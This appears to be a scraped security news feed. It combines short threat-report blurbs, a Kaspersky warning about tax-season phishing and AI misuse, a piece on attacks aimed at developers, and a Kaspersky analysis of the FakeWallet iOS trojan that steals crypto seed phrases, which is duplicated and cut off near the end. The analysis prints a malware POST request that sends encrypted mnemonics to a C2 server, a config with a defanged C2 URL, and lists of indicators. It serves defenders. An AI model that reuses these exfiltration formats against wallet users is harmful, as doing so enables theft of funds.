Dubbed GopherWhisper, the group relies on multiple Go-based backdoors alongside custom loaders and injectors.
The post China-Linked APT GopherWhisper Abuses Legitimate Services in Government Attacks appeared first on SecurityWeek.
Unit 42 analyzes npm supply chain evolution post-Shai Hulud. Discover wormable malware, CI/CD persistence, multi-stage attacks and more.
The post The npm Threat Landscape: Attack Surface and Mitigations (Updated June 2) appeared first on Unit 42.
It targeted high-precision calculation software to tamper with results and packed a self-propagation mechanism.
The post Pre-Stuxnet Sabotage Malware ‘Fast16’ Linked to US-Iran Cyber Tensions appeared first on SecurityWeek.
The malware provides remote access and control of infected devices and maintains post-patching persistence.
The post US Federal Agency’s Cisco Firewall Infected With ‘Firestarter’ Backdoor appeared first on SecurityWeek.
In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.
With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.
In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.
This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.
A site imitating the Chilean tax authority. The victim is prompted to enter their credit card information to receive a substantial tax refund — roughly US$375. Instead, the funds are siphoned from the victim’s account directly to the scammers
Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.
Instead of an official document from the French tax service, the user finds malware waiting inside the PDF
In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.
After entering the password, the user opens a malicious archive that infects their device
Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.
Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.
To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.
Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.
After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.
When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.
Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.
If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.
Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.
The creators of a fake AI tool prompt users to upload tax documents, and kindly assure them that the site doesn’t store any user data. In reality, every piece of information entered — name, address, documents, contact person, phone number — ends up in the hands of cybercriminals
Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.
Further reading on phishing and data security:
Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.
For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.
Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.
In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.
Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.
One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.
Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.
Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.
That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.
Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.
To minimize the risk of a breach, companies should lean into the following best practices:
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
Login
login-url The config file looks like this:{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
+[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.add-account-cta or one containing a $ sign:
add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariableslogin-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigatorPrivateKeyVerifyScreen, embedded in MyLedgerNavigatorIn the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.verify-wallet-config.json stores the C2 server configuration the malware is currently using.verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45
Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3
Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b
Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467
Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e
Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb
C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
login-url The config file looks like this:{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
+[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.add-account-cta or one containing a $ sign:
add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariableslogin-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigatorPrivateKeyVerifyScreen, embedded in MyLedgerNavigatorIn the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.verify-wallet-config.json stores the C2 server configuration the malware is currently using.verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Infected cryptowallet IPA file hashes
